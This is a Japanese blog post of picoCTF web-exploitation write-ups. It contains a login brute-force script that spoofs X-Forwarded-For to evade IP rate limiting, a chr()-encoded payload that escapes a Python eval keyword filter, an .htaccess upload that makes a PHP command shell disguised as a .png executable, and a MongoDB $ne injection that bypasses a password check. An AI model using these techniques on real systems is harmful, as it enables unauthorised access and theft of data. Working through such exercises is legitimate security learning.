picoCTF WebExploitation(Medium) Writeups

に公開

興味からCTFに入門しているので、その記事となります。

おいおい書き足して行く予定です。閲覧にはご注意ください。

Crack the Gate 2

  • あるIPで一度ログインに失敗した状態で、再度ログインしようとすると20分間リクエストが弾かれる
  • パスワードの候補はすでに用意されている(20通り)ので、IP制限を回避しつつ試行したい

対応

X-Forwarded-Forタグをヘッダに付与することで、IPの偽装が可能となる。

最初はBurpSuiteでリクエストごとにヘッダを付与していましたが、結局pythonで回す方針に落ち着きました。

(今やってみるとaddress_diffでインクリメントしなくてもできたので、curlで投げるだけでいいのかも)

import subprocess
f = open("passwords.txt", 'r')
address_diff = 1
for password in f:
    subprocess.call(['curl', '-X', 'POST','http://amiable-citadel.picoctf.net:50131/login', '-H', 'Content-Type: application/json', '-H', f'X-Forwarded-For: 127.0.0.{1 + address_diff}, 127.0.0.1','-H', 'Origin: http://amiable-citadel.picoctf.net:61505/login', '-d', f'{{"email":"ctf-player@picoctf.org", "password":"{password.strip()}"}}'])
    print()
    address_diff += 1

3v@l

  • pythonのevalを使って式評価をする送信フォームがある
    • 1+1と入力して送信すると画面に2が表示される
  • 送信の際、os,cat,execといった単語が含まれているとバリデーションエラーとなる
  • これらを回避しつつコード実行したい

自分が考えた対応(不正解)

とりあえずどこにフラグがあるが知りたいのでディレクトリ構造を検証したい

lsをなんとかして実行したい

osと書くとバリデーションに引っ掛かるがsubprocessは弾かれなさそう

__import__('subprocess').call(['cmd'])でいけるのでは

という考えでした。

ここで、cmd部分に直でlsと書くとダメなのでどうすべきか考え、unicode表記ならうまく行くんでは?と考えました。

で、次みたいな感じで投げてみました。

'\u006c\u0073\u0020\u002d\u006c\u0061'.decode()

がうまくいかない。

試行した感じ、''はオッケーですが'\'は正規表現で弾かれるみたい。ということで次にコードポイントで攻める方針を思いつきました。

__import__('subprocess').call([chr(108)+chr(115), chr(45)+chr(108)+chr(97)])

これはバリデーション通過しましたが、何も表示されない。

printで戻り値を見てみるとNoneになっている。

そもそも__import__('subprocess')の時点で戻り値がNoneになっている。

詰んだ。

正しい対応

どうも動的インポートは正しくなく、普通?にopen()を使えばよいみたいです。

(ここら辺は視点が足りていないということか)

最終的に以下で落ち着きました。

open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()

byp4ss3d

  • ファイルをサーバ内の所定フォルダにアップロードできるサイトがある
  • それによりサーバ内の情報を得たい
  • サーバはApacheである

対応

この問題の解き方は二段階に分かれます。

  1. サーバに設定ファイルをアップロードする
  2. ファイルに記述した設定を踏み台に元にコード実行する

まずApacheの設定ファイルとして.htaccessをアップロードします。

自分はそのようなファイルが存在していることは知っていましたが、具体的な設定項目等については知りませんでした。

一旦次のように書いてアップロードしてみます。

Options +Indexes

これでアップロードすると/imagesからサーバ内の情報が見れるようになりました。方針は合ってそうですね。

ただこれだけだと思いの外できることがないため、再度設定ファイルの見直しをしました。

そこで見つけたのがAddHandlerの項目で、これはファイル拡張子、ハンドラを指定することでその拡張子を持つファイルを所定のハンドラで処理するよう指示するというものです。(多分)

Upload時の処理はupload.phpが呼ばれていることは実行時に判明していたので、アップロードするファイル名をupload.phpにする?ということでやってみました。がこれはうまくいかず。

で、よくよく考えると、拡張子を.pngに設定+ハンドラをphpに設定し、画像に偽装したスクリプトを実行させればいいのでは?と思いつきました。

最終的に次のような形になりました。スクリプトが死ぬほど汚いですがご寛恕いただきたいです。

.htaccess
Require all granted
Options +Indexes
AddHandler application/x-httpd-php .png
script.png
<?php
$env = [];
$output01 = exec("ls -l", $env);
$text2 = implode("\n", $env);
echo '<pre>' . htmlspecialchars($text2, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array1 = [];
$output02 = exec("cd .. && ls -la", $array1);
$text3 = implode("\n", $array1);
echo '<pre>' . htmlspecialchars($text3, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array1 = [];
$output02 = exec("cd .. && cat index.php", $array1);
$text3 = implode("\n", $array1);
echo '<pre>' . htmlspecialchars($text3, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array = [];
$output03 = exec("cd .. && ls -la", $array);
$text = implode("\n", $array);
echo '<pre>' . htmlspecialchars($text, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array = [];
$output03 = exec("cd ../.. && cat flag.txt", $array);
$text = implode("\n", $array);
echo '<pre>' . htmlspecialchars($text, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$array = [];
$output03 = exec("cd ../../.. && cat flag.txt", $array);
$text = implode("\n", $array);
echo '<pre>' . htmlspecialchars($text, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
$output06 = exec("cd ../../../.. && ls -la");
echo "<pre>$output06</pre>";
$output06 = exec("cd ../../../.. && ls -la");
echo "<pre>$output06</pre>";
$output07 = exec("cd ../../../../.. && ls -la");
echo "<pre>$output07</pre>";
?>

スクリプト部分ですが、配列を渡して複数行に出る出力を拾えるようにしてあります(個人的沼りポイント)。

No Sql Injection

  • メールアドレスとパスワードの入力フォームと、サーバのソースコードが与えられる
  • データベースはmongoDBである
  • なんとかしてログインする

対応

ソースコードをみると、認証部分の実装は次のようになっています。

server.js
try {
  const user = await User.findOne({
    email:
      email.startsWith("{") && email.endsWith("}")
        ? JSON.parse(email)
        : email,
    password:
      password.startsWith("{") && password.endsWith("}")
        ? JSON.parse(password)
        : password,
  });

  if (user) {
    res.json({
      success: true,
      email: user.email,
      token: user.token,
      firstName: user.firstName,
      lastName: user.lastName,
    });
  } else {
    res.json({ success: false });
  }
} catch (err) {
  res.status(500).json({ success: false, error: err.message });
}

JSON.parseを使っているのがクサいですね。

またcatch時にエラーメッセージが出るようになっていて、実際に入力試行する際の誘導になっています。

これは

{"$ne":"a"}

とパスワードに設定することで、

{
    email: 'xxx',
    password: {
        $ne: "a"
    },
}

というように、パスワードの条件部分を上書きすることができます。

($ne: "a"password <> "a"と評価される)

また、Userのスキーマは次のようになっています。

server.js
const userSchema = new mongoose.Schema({
  email: { type: String, required: true, unique: true },
  firstName: { type: String, required: true },
  lastName: { type: String, required: true },
  password: { type: String, required: true },
  token: { type: String, required: false, default: "{{Flag}}" },
});

ここから、ログインすることが目的というより、ログイン時に返ってくるトークンが欲しいということがわかります。

これはBurpsuiteでレスポンスを確認することでも、開発者ツールからセッションストレージを見ることでも取得できます。

トークンはbase64エンコードされているので、デコードするとフラグが取得できます。

自分はNoSQL全くわからない民なので早々にギブアップしました。またフラグがエンコードされていることに気づかず途方に暮れていました。

Discussion